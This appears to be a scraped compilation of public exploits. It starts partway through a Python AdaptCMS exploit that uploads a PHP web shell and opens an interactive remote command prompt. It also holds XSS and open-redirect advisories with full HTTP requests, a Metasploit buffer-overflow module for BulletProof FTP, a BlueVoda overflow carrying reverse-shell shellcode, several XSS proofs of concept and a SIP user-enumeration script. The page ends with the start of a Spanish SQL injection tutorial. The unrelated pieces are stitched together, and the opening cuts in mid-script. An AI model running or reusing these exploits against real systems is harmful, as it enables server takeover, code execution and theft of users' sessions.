urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) try: gettokens = opener.open('http://'+host+'/'+path+'/login') except urllib2.HTTPError, errorzio: if errorzio.code == 404: print 'Path error.' sys.exit() except URLError, errorziocvaj: if errorziocvaj.reason: print 'Hostname error.' sys.exit() print '\x20\x20[*] Login please.' tokenfields = re.search('fields]" value="(.+?)" id=', gettokens.read()).group(1) gettokens = opener.open('http://'+host+'/'+path+'/login') tokenkey = re.search('key]" value="(.+?)" id=', gettokens.read()).group(1) username = raw_input('\x20\x20[*] Enter username: ') password = raw_input('\x20\x20[*] Enter password: ') login_data = urllib.urlencode({ '_method' : 'POST', 'data[User][username]' : username, 'data[User][password]' : password, 'data[_Token][fields]' : '864206fbf949830ca94401a65660278ae7d065b3%3A', 'data[_Token][key]' : tokenkey, 'data[_Token][unlocked]' : '' }) login = opener.open('http://'+host+'/'+path+'/login', login_data) auth = login.read() for session in cj: sessid = session.name ses_chk = re.search(r'%s=\w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '\x20\x20[*] Accessing...' upload = opener.open('http://'+host+'/'+path+'/admin/files/add') filetoken = re.search('key]" value="(.+?)" id=', upload.read()).group(1) class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((fieldname, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) parts.extend( [ part_boundary, 'Content-Disposition: file; name="%s"; filename="%s"' % \ (field_name, filename), 'Content-Type: %s' % content_type, '', body, ] for field_name, filename, content_type, body in self.files ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_field('_method', 'POST') form.add_field('data[_Token][key]', filetoken) form.add_field('data[File][type]', 'edit') form.add_field('data[0][File][filename]', '') form.add_field('data[0][File][dir]', 'uploads/') form.add_field('data[0][File][mimetype]', '') form.add_field('data[0][File][filesize]', '') form.add_field('data[File][content]', '<?php echo "<pre>"; passthru($_GET[\'cmd\']); echo "</pre>"; ?>') form.add_field('data[File][file_extension]', 'php') form.add_field('data[File][file_name]', 'thricer') form.add_field('data[File][caption]', 'THESHELL') form.add_field('data[File][dir]', 'uploads/') form.add_field('data[0][File][caption]', '') form.add_field('data[0][File][watermark]', '0') form.add_field('data[0][File][zoom]', 'C') form.add_field('data[File][resize_width]', '') form.add_field('data[File][resize_height]', '') form.add_field('data[0][File][random_filename]', '0') form.add_field('data[File][library]', '') form.add_field('data[_Token][fields]', '0e50b5f22866de5e6f3b959ace9768ea7a63ff3c%3A0.File.dir%7C0.File.filesize%7C0.File.mimetype%7CFile.dir') form.add_file('data[0][File][filename]', 'filename', fileHandle=StringIO('')) request = urllib2.Request('http://'+host+'/'+path+'/admin/files/add') request.add_header('User-agent', 'joxypoxy 6.0') body = str(form) request.add_header('Content-type', form.get_content_type()) request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() f_loc = '/uploads/thricer.php' print while True: try: cmd = raw_input('shell@'+host+':~# ') execute = opener.open('http://'+host+'/'+path+f_loc+'?cmd='+urllib.quote(cmd)) reverse = execute.read() pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M) cmdout = pattern.match(reverse) print cmdout.groups()[0].strip() print if cmd.strip() == 'exit': break except Exception: break print 'Session terminated.\n' sys.exit() """ ############################################################################### AdaptCMS 3.0.3 Multiple Persistent XSS Vulnerabilities Vendor: Insane Visions Product web page: http://www.adaptcms.com Affected version: 3.0.3 Summary: AdaptCMS is a Content Management System trying to be both simple and easy to use, as well as very agile and extendable. Not only so we can easily create Plugins or additions, but so other developers can get involved. Using CakePHP we are able to achieve this with a built-in plugin system and MVC setup, allowing us to focus on the details and end-users to focus on building their website to look and feel great. Desc: AdaptCMS version 3.0.3 suffers from multiple stored cross-site scripting vulnerabilities. Input passed to several POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache 2.4.10 (Win32) PHP 5.6.3 MySQL 5.6.21 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5218 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5218.php 29.12.2014 -- ========================================== #1 Stored XSS POST parameter: data[Category][title] ------------------------------------------ POST /adaptcms/admin/categories/add HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/adaptcms/admin/categories/add Cookie: adaptcms=uu16dmimdemvcq54h3nevq6oa0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 279 _method=POST&data%5B_Token%5D%5Bkey%5D=851f8e2e973800b2b0635d5157c55369bcade604&data%5BCategory%5D%5Btitle%5D=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&data%5B_Token%5D%5Bfields%5D=14d1551ece2201712436bf482f7e776f422a7966%253A&data%5B_Token%5D%5Bunlocked%5D= ======================================= #2 Stored XSS POST parameter: data[Field][title] --------------------------------------- POST /adaptcms/admin/fields/ajax_fields/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost/adaptcms/admin/fields/add Content-Length: 141 Cookie: adaptcms=uu16dmimdemvcq54h3nevq6oa0 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache data%5BField%5D%5Bcategory_id%5D=2&data%5BField%5D%5Btitle%5D=%22%3E%3Cscript%3Ealert(2)%3B%3C%2Fscript%3E&data%5BField%5D%5Bdescription%5D= ========================= #3 Stored XSS POST parameter: name ------------------------- POST /adaptcms/admin/tools/create_theme?finish=true HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Referer: http://localhost/adaptcms/admin/tools/create_theme Content-Length: 242 Cookie: adaptcms=uu16dmimdemvcq54h3nevq6oa0 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache {"basicInfo":{"name":"\"><script>alert(3);</script>","block_active":"","is_fields":"","is_searchable":""},"versions":{"current_version":"1.0","versions":["1.0","111"]},"skeleton":{"controller":false,"model":false,"layout":true,"views":false}} =========================================== #4 Stored XSS POST parameter: data[Link][link_title] ------------------------------------------- POST /adaptcms/admin/links/links/add HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/adaptcms/admin/links/links/add Cookie: adaptcms=uu16dmimdemvcq54h3nevq6oa0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 593 _method=POST&data%5B_Token%5D%5Bkey%5D=2c5e2f46b5c13a78395b2e79303543cd4d444789&data%5BLink%5D%5Btitle%5D=444&data%5BLink%5D%5Burl%5D=http%3A%2F%2Fzeroscience.mk&data%5BLink%5D%5Blink_title%5D="><script>alert(4);</script>&data%5BLink%5D%5Blink_target%5D=_new&data%5BLink%5D%5Bactive%5D=0&data%5BLink%5D%5Bactive%5D=1&data%5BLink%5D%5Btype%5D=&data%5BLink%5D%5Bimage_url%5D=&data%5BLink%5D%5Bselect_all%5D=0&data%5BLink%5D%5Bselect_none%5D=0&data%5BLink%5D%5Bsort_by%5D=&data%5BLink%5D%5Bsort_direction%5D=&data%5B_Token%5D%5Bfields%5D=34394f00acd7233477b8cd9e681e331f083052a5%253A&data%5B_Token%5D%5Bunlocked%5D= ============================================== #5 Stored XSS POST parameter: data[ForumTopic][subject] ---------------------------------------------- POST /adaptcms/forums/off-topic/new HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/adaptcms/forums/off-topic/new Cookie: adaptcms=c4fqklpt7gneokqbbv4iq1e5b1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 460 _method=POST&data%5B_Token%5D%5Bkey%5D=4c5428572b6454152377ae8db2c3a8a753f39dba&data%5BForumTopic%5D%5Bsubject%5D=%22%3E%3Cscript%3Ealert%285%29%3B%3C%2Fscript%3E&data%5BForumTopic%5D%5Bcontent%5D=%3Cp%3Etestingcontent%3C%2Fp%3E&data%5BForumTopic%5D%5Btopic_type%5D=topic&data%5BForumTopic%5D%5Bforum_id%5D=1&data%5B_Token%5D%5Bfields%5D=bcff03f6432e544b05d877fcdd8c29f13155693a%253AForumTopic.forum_id%257CForumTopic.topic_type&data%5B_Token%5D%5Bunlocked%5D= ############################################################################### AdaptCMS 3.0.3 HTTP Referer Header Field Open Redirect Vulnerability Vendor: Insane Visions Product web page: http://www.adaptcms.com Affected version: 3.0.3 Summary: AdaptCMS is a Content Management System trying to be both simple and easy to use, as well as very agile and extendable. Not only so we can easily create Plugins or additions, but so other developers can get involved. Using CakePHP we are able to achieve this with a built-in plugin system and MVC setup, allowing us to focus on the details and end-users to focus on building their website to look and feel great. Desc: Input passed via the 'Referer' header field is not properly verified before being used to redirect users. This can be exploited to redirect a user to an arbitrary website e.g. when a user clicks a specially crafted link to the affected script hosted on a trusted domain. ==================================== \lib\Cake\Controller\Controller.php: ------------------------------------ Line: 956 .. .. Line: 974 ------------------------------------ Tested on: Apache 2.4.10 (Win32) PHP 5.6.3 MySQL 5.6.21 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5219 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5219.php 29.12.2014 -- GET /adaptcms/admin/adaptbb/webroot/foo HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: adaptcms=uu16dmimdemvcq54h3nevq6oa0 Connection: keep-alive Referer: http://zeroscience.mk """
HireHackking

BulletProof FTP Client - BPS Buffer Overflow (Metasploit)

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'BulletProof FTP Client BPS Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in BulletProof FTP Client 2010, caused by an overly long hostname. By persuading the victim to open a specially-crafted .BPS file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gabor Seljan' ], 'References' => [ [ 'EDB', '34162' ], [ 'EDB', '34540' ], [ 'EDB', '35449' ], [ 'OSVDB', '109547' ], [ 'CVE', '2014-2973' ], ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x1a", 'Space' => 2000 }, 'Targets' => [ [ 'Windows XP SP3', { 'Offset' => 89, 'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll] } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 24 2014', 'DefaultTarget' => 0 )) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps']) ], self.class) end def exploit eggoptions = { :checksum => true, :eggtag => 'w00t' } hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n" sploit << rand_text_alpha(target['Offset']) sploit << generate_seh_record(target.ret) sploit << hunter + "\r\n" # FTP Server HOST / IP sploit << rand_text_numeric(5) + "\r\n" # Port number sploit << egg + "\r\n" # Login name sploit << rand_text_alpha(8) + "\r\n" # Login password # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(sploit) end end
HireHackking

BlueVoda Website Builder 11 - '.bvp' Local Stack Buffer Overflow

source: https://www.securityfocus.com/bid/47753/info BlueVoda Website Builder is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions. BlueVoda Website Builder 11 is vulnerable; other versions may also be affected. #!/usr/bin/perl system("cls"); sub logo(){ print q' 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 1 ______ 0 0 .-" "-. 1 1 / KedAns-Dz \ =-=-=-=-=-=-=-=-=-=-=-| 0 0 Algerian HaCker | | > Site : 1337day.com | 1 1 --------------- |, .-. .-. ,| > Twitter : @kedans | 0 0 | )(_o/ \o_)( | > ked-h@hotmail.com | 1 1 |/ /\ \| =-=-=-=-=-=-=-=-=-=-=| 0 0 (@_ (_ ^^ _) HaCkerS-StreeT-Team 1 1 _ ) \_______\__|IIIIII|__/_______________________ 0 0 (_)@8@8{}<________|-\IIIIII/-|________________________> 1 1 )_/ \ / 0 0 (@ `--------` . 2011, Inj3ct0r Team 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 0 BlueVoda Website Builder v.11 (.bvp) Stack Buffer Overflow 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 '; } # --------- # BlueVoda Website Builder v.11 (.bvp) Stack Buffer Overflow # Author : KedAns-Dz <ked-h@hotmail.com || ked-h@exploit-id.com> # special thanks to : Inj3ct0r Team + Exploit-Id Team # Tested in Windows XP sp3 France # --------- logo(); my $header = # BlueVoda Project (bvp) Header "\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x3e\x00\x03\x00\xfe\xff\x09"; my $jump = "\xeb\x02\x90\x90" ; # short jump - from BlueVoda.exe my $call = "\xff\x52\x7c"; # Call - from BlueVoda.exe my $junk = "\x41" x 321; # Buffer my $nops = "\x90" x 51; # Nopsled # windows/shell_reverse_tcp - 340 bytes (http://www.metasploit.com) # LHOST=127.0.0.1, LPORT=4444, Encoder: x86/call4_dword_xor my $shell = "\x29\xc9\x83\xe9\xb1\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" . "\x0e\x4e\x5a\xfa\xc3\x83\xee\xfc\xe2\xf4\xb2\xb2\x73\xc3" . "\x4e\x5a\x9a\x4a\xab\x6b\x28\xa7\xc5\x08\xca\x48\x1c\x56" . "\x71\x91\x5a\xd1\x88\xeb\x41\xed\xb0\xe5\x7f\xa5\xcb\x03" . "\xe2\x66\x9b\xbf\x4c\x76\xda\x02\x81\x57\xfb\x04\xac\xaa" . "\xa8\x94\xc5\x08\xea\x48\x0c\x66\xfb\x13\xc5\x1a\x82\x46" . "\x8e\x2e\xb0\xc2\x9e\x0a\x71\x8b\x56\xd1\xa2\xe3\x4f\x89" . "\x19\xff\x07\xd1\xce\x48\x4f\x8c\xcb\x3c\x7f\x9a\x56\x02" . "\x81\x57\xfb\x04\x76\xba\x8f\x37\x4d\x27\x02\xf8\x33\x7e" . "\x8f\x21\x16\xd1\xa2\xe7\x4f\x89\x9c\x48\x42\x11\x71\x9b" . "\x52\x5b\x29\x48\x4a\xd1\xfb\x13\xc7\x1e\xde\xe7\x15\x01" . "\x9b\x9a\x14\x0b\x05\x23\x16\x05\xa0\x48\x5c\xb1\x7c\x9e" . "\x26\x69\xc8\xc3\x4e\x32\x8d\xb0\x7c\x05\xae\xab\x02\x2d" . "\xdc\xc4\xb1\x8f\x42\x53\x4f\x5a\xfa\xea\x8a\x0e\xaa\xab" . "\x67\xda\x91\xc3\xb1\x8f\xaa\x93\x1e\x0a\xba\x93\x0e\x0a" . "\x92\x29\x41\x85\x1a\x3c\x9b\xd3\x3d\xab\x31\x5a\xfa\xc2" . "\x26\x58\xfa\xd2\x12\xd3\x1c\xa9\x5e\x0c\xad\xab\xd7\xff" . "\x8e\xa2\xb1\x8f\x92\xa0\x23\x3e\xfa\x4a\xad\x0d\xad\x94" . "\x7f\xac\x90\xd1\x17\x0c\x18\x3e\x28\x9d\xbe\xe7\x72\x5b" . "\xfb\x4e\x0a\x7e\xea\x05\x4e\x1e\xae\x93\x18\x0c\xac\x85" . "\x18\x14\xac\x95\x1d\x0c\x92\xba\x82\x65\x7c\x3c\x9b\xd3" . "\x1a\x8d\x18\x1c\x05\xf3\x26\x52\x7d\xde\x2e\xa5\x2f\x78" . "\xbe\xef\x58\x95\x26\xfc\x6f\x7e\xd3\xa5\x2f\xff\x48\x26" . "\xf0\x43\xb5\xba\x8f\xc6\xf5\x1d\xe9\xb1\x21\x30\xfa\x90" . "\xb1\x8f\xfa\xc3"; my $exploit = $header.$jump.$junk.$call.$shell.$nops; open(myfile,'>>KedAns.bvp'); print myfile $exploit; close (myfile);
HireHackking

Ampache 3.5.4 - 'login.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/47756/info Ampache is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Ampache 3.5.4 is vulnerable; other versions may also be affected. <html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/ampache-3.5.4/login.php"> <input type="hidden" name="username" value=""><script>alert(0)</script>" /> </form> </body> </html>
HireHackking

Web Auction 0.3.6 - 'lang' Cross-Site Scripting

source: https://www.securityfocus.com/bid/47682/info Web Auction is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Web Auction 0.3.6 is vulnerable; other versions may also be affected. http://www.example.com/webauction-0.3.6/dataface/lib/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)//
HireHackking

E2 Photo Gallery 0.9 - 'index.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/47697/info E2 Photo Gallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/uploader/index.php/[xss]
HireHackking

sipdroid 2.2 - SIP INVITE Response User Enumeration

source: https://www.securityfocus.com/bid/47710/info sipdroid is prone to a user-enumeration weakness. An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks. sipdroid 1.6.1, 2.0.1, and 2.2 running on Android 2.1 are vulnerable; other versions may also be affected. #!/usr/bin/env python # Adapted from SipVicious by Anibal Aguiar - anibal.aguiar *SPAM* tempest.com.br # # This code is only for security researches/teaching purposes,use at your own risk! import sys import random def printmsg(msg, color): OKGREEN = '\033[92m' OKBLUE = '\033[96m' ENDC = '\033[0m' WARN = '\033[91m' if color is "Blue": return OKBLUE + msg + ENDC elif color is "Green": return OKGREEN + msg + ENDC elif color is "WARNING": return WARN + msg + ENDC def makeRequest(method,dspname,toaddr, dsthost,port,callid,srchost='', branchunique=None,localtag=None, extension=None,body='',useragent=None, cseq=1,auth=None,contact='<sip:123@1.1.1.1>', accept='application/sdp',contentlength=None, localport=5060,contenttype=None): if extension is None: uri = 'sip:%s' % dsthost else: uri = 'sip:%s@%s' % (extension,dsthost) if branchunique is None: branchunique = '%s' % random.getrandbits(32) headers = dict() finalheaders = dict() superheaders = dict() superheaders['Via'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK%s;rport' % (srchost,localport,branchunique) headers['Max-Forwards'] = 70 headers['To'] = uri headers['From'] = "\"%s\"" % dspname if useragent is None: headers['User-Agent'] = 'friendly-scanner' headers['From'] += ';tag=as%s' % localtag headers['Call-ID'] = "%s@%s" % (callid,srchost) if contact is not None: headers['Contact'] = contact headers['CSeq'] = '%s %s' % (cseq,method) headers['Max-Forwards'] = 70 headers['Accept'] = accept if contentlength is None: headers['Content-Length'] = len(body) else: headers['Content-Length'] = contentlength if contenttype is None and len(body) > 0: contenttype = 'application/sdp' if contenttype is not None: headers['Content-Type'] = contenttype r = '%s %s SIP/2.0\r\n' % (method,uri) for h in superheaders.iteritems(): r += '%s: %s\r\n' % h for h in headers.iteritems(): r += '%s: %s\r\n' % h for h in finalheaders.iteritems(): r += '%s: %s\r\n' % h r += '\r\n' r += body return r, branchunique ----[SIPDroid-Extension_Enum.py]---------------------------------------------------------------------------------------- #!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Anibal Aguiar - anibal.aguiar *SPAM* tempest.com.br # # Dependences: # # optparse - The optparse library can be installed using the linux repository # of your distro. # # myHelper -- myHelper.py should be placed at the same diretory of SIPDroid-Extension_Enum.py # # This software is based on some functions of sipvicious-0.2.6. # # This code is only for security researches/teaching purposes,use at your own risk! # import sys import random import re from optparse import OptionParser from socket import * from myhelper import * parse = OptionParser() parse.add_option("-i", "--ip", dest="ip", help="Target IP range (CIDR or unique IP). (MANDATORY)") parse.add_option("-s", "--source", dest="source", help="Source IP number. (MANDATORY)") parse.add_option("-f", "--srcfake", dest="srcfake", help="Source IP number (fake).") parse.add_option("-p", "--dstport", dest="dstport", default=5060, help="Destine port number (MAMDATORY due to SIPDroid Random port). (default 5060)") parse.add_option("-e", "--extension", dest="exten", default=None, help="Destine extension. (default None)") parse.add_option("-t", "--tag", dest="tag", default=None, help="Call TAG. (default random)") parse.add_option("-v", "--verbose", action="store_true", dest="debug", default="False", help="Verbose mode - print pakets sent and received. (default False)") (options, arg) = parse.parse_args() if not options.exten: extension = "SIPDROID" else: extension = options.exten if not options.srcfake: srcfake = '1.1.1.1' else: srcfake = options.srcfake dstport = int(options.dstport) if not options.ip or not options.source: print printmsg("Sintaxe erro. Try %s --help" % sys.argv[0], "WARNING") sys.exit(1) else: dsthost = options.ip fromhost = options.source if options.tag is None: tag = random.getrandbits(22) else: tag = options.tag buf = 1024 addr = (dsthost,dstport) cid='%s' % str(random.getrandbits(32)) branch=None srcaddr = (fromhost,5062) # Create socket UDPSock = socket(AF_INET,SOCK_DGRAM) # Binding on 5060 UDPSock.bind(srcaddr) # Send messages method = "INVITE" (header,branch) = makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag) if(UDPSock.sendto(header, addr)): sent = True if options.debug is True: print printmsg("Data Sent:", "WARNING") print header print printmsg("INVITE sent to %s!\n" % dsthost, "Green") else: sent = False # Receive messages while sent: try: UDPSock.settimeout(4) data,bindaddr = UDPSock.recvfrom(buf) if options.debug is True: print printmsg("Data Received:", "WARNING") print data if re.search('SIP/2.0 180 Ringing', data): packet = data.split('\n') for packetline in packet: for origin in re.finditer('o\=[a-zA-Z0-9\-]+\@[a-zA-Z0-9.\-]+', packetline): print printmsg("o=<extension>@<server>: %s\n" % origin.group(0), "Blue") method = 'CANCEL' (header, branch) = makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag) if options.debug is True: print printmsg("Data Sent:", "WARNING") print header UDPSock.sendto(header, addr) sent = False except Exception as excpt: print excpt print printmsg("OPS... Timeout on receving data or something wrong with socket... take a look at dest. port number too (-p option).", "WARNING") sent = False # Close socket UDPSock.close()
HireHackking

Introducción a SQL Injection

Las inyecciones SQL (SQLi) son un ataque muy común en aplicaciones web, consiste en inyectar comandos de SQL en las peticiones SQL legítimas que haga un servidor web a la base de datos.
Un ataque de este tipo puede derivar en cosas como:
Obtener toda la información de las bases de datos Actualizar información de las bases de datos Eliminar información de las bases de datos Leer archivos del servidor Escribir archivos del servidor Ejecutar comandos Y si, todo a partir de la inyección de código SQL.
Índice:
Fundamentos SQL en Aplicaciones Web Concepto de SQL Injection In-band SQL InjectionUnion-based Error-based Blind SQL InjectionBoolean-based Time-based Out-of-Band Conclusión Referencias Fundamentos
Antes de ver las diferentes técnicas de inyección SQL, debemos entender lo más básico, el propio SQL.
Primero de todo, SQL (Structured Query Language) es un lenguaje para la gestión de bases de datos. SQL permite definir, extraer y manipular datos de una base de datos.
Las sentencias SQL se suelen dividir en 5 tipos:
DQL (Data Query Language) –> Contiene la instrucción SELECT. DML (Data Manipulation Language) –> Contiene instrucciones como INSERT, UPDATE o DELETE. DDL (Data Definition Language) –> Contiene instrucciones como CREATE, ALTER, DROP o TRUNCATE. DCL (Data Control Language) –> Contiene intrucciones como GRANT o REVOKE. TCL (Transaction Control Language) –> Contiene instrucciones como BEGIN, TRAN, COMMIT o ROLLBACK. Todos los tipos de sentencias realmente no son muy relevantes sabérselas. Simplemente, está bien saber que existen estas diferenciaciones entre las distintas instrucciones de SQL. Mayoritariamente, las instrucciones que más nos puede interesar saber de cara a inyecciones SQL son las pertenecientes a los tipos DQL, DML y DCL, pero nunca hay que descartar ninguna porque puede que nos sea útil dependiendo de la situación en la que nos encontremos.
En este punto, ya sabemos que SQL es un lenguaje que nos permite construir sentencias, ya sea para manipular, definir o extraer datos de una base de datos. Ahora bien, ¿cómo se estructuran las bases de datos?.
Podemos distinguir dos tipos de bases de datos, las relacionales y las no relacionales, también conocidas como SQL y NoSQL. Las bases de datos relacionales (SQL) están basadas en tablas, mientras que las bases de datos no relacionales (NoSQL) pueden estar basadas en: documentos (estructura clave-valor), grafos, clave-valor o columnas.
De aquí con que te quedes con que existen estos dos tipos de bases de datos es suficiente, ya que no es objetivo de este post entrar en detalles de al menos, las bases de datos no relacionales (NoSQL).
Ahora bien, las que si vamos a ver más a fondo como se estructuran son las bases de datos relacionales, ya que son las bases de datos donde ocurre el SQL Injection.
Dentro de lo que son los dos modelos que hemos visto, SQL y NoSQL. Los encargados de llevar estos dos conceptos a la práctica son los llamados Gestores de Bases de Datos (DBMS). En concreto para las bases de datos relacionales, se encargan de llevarlo a la práctica los Gestores de Bases de Datos Relacionales (RDBMS).
Los RDBMS más famosos son:
MySQL MariaDB MS SQL (Microsoft SQL) PostgreSQL Oracle Pero no son los únicos.
Cada uno de estos gestores de bases de datos siguen el modelo de base de datos relacional, sin embargo, cada uno tiene sus características únicas que hacen que se diferencien entre los demás.
Todo esto que acabamos de ver se puede ver reflejado en el siguiente diagrama:
Con este diagrama podemos ver de forma mucho más clara la estructura de una base de datos y su posición en un gestor de bases de datos relacional.
Sabiendo esto, vamos a ver distintas sentencias SQL para familiarizarnos con el lenguaje y el procedimiento. Para ello, vamos a seguir el ejemplo de la imagen de arriba, todo se va a hacer como si nos encontrásemos dentro de la base de datos «webserver».
Sentencia básica:
SELECT * FROM users Esta sentencia es la más básica y estaríamos diciendo lo siguiente: «Obtén todos los datos pertenecientes a la tabla users».
Esta sentencia obtendría y daría como resultado lo siguiente:
Otro ejemplo de sentencia sería:
SELECT username, password FROM users WHERE id=1 Aquí ya hemos hecho unos cuantos cambios. Por ejemplo, ya no le estamos diciendo «Obtén todos los datos pertenecientes a la tabla users» sino que le estamos diciendo: «De la tabla users, obtén solo los resultados de la columna username y password«.
Sin embargo, como vemos, luego le estamos colocando otra condición (WHERE id=1), aqui le estamos diciendo que solo devuelva los resultados que cumplan que el valor de la columna id sea igual a 1.
Entonces la query completa, sería: «De la tabla users, devuelveme solo los resultados de la columna username y password. Además, solo quiero que me devuelvas los resultados que cumplan que el valor de la columna id sea igual a 1«.
El resultado sería:
Si la query en vez de ser:
SELECT username, password FROM users WHERE id=’1′ Fuese:
SELECT username, password FROM users WHERE username=»sikumy» Daría el mismo resultado.
Podríamos resumir que la estructura de una sentencia básica sería:
SELECT <columnas> FROM <tabla> WHERE <condicion> A esta estructura, le podemos agregar otras instrucciones o cambiar alguna que otra cosa para que cambien un poco su comportamiento. Vamos a ver algunas de ellas:
SELECT DISTINCT <columnas> FROM <tabla> En este caso, la instrucción DISTINCT lo único que hace es eliminar los resultados duplicados, de forma, que solo se muestren 1 vez.
SELECT «hola», «que», «tal», «???», «!!!» FROM <tabla> La instrucción SELECT también permite definir valores constantes. De tal forma, que se muestren los valores constantes sea cual sea el contenido de la tabla. Por ejemplo, tenemos la siguiente tabla:
Si hacemos una petición como la escrita arriba, con valores constantes, el resultado será:
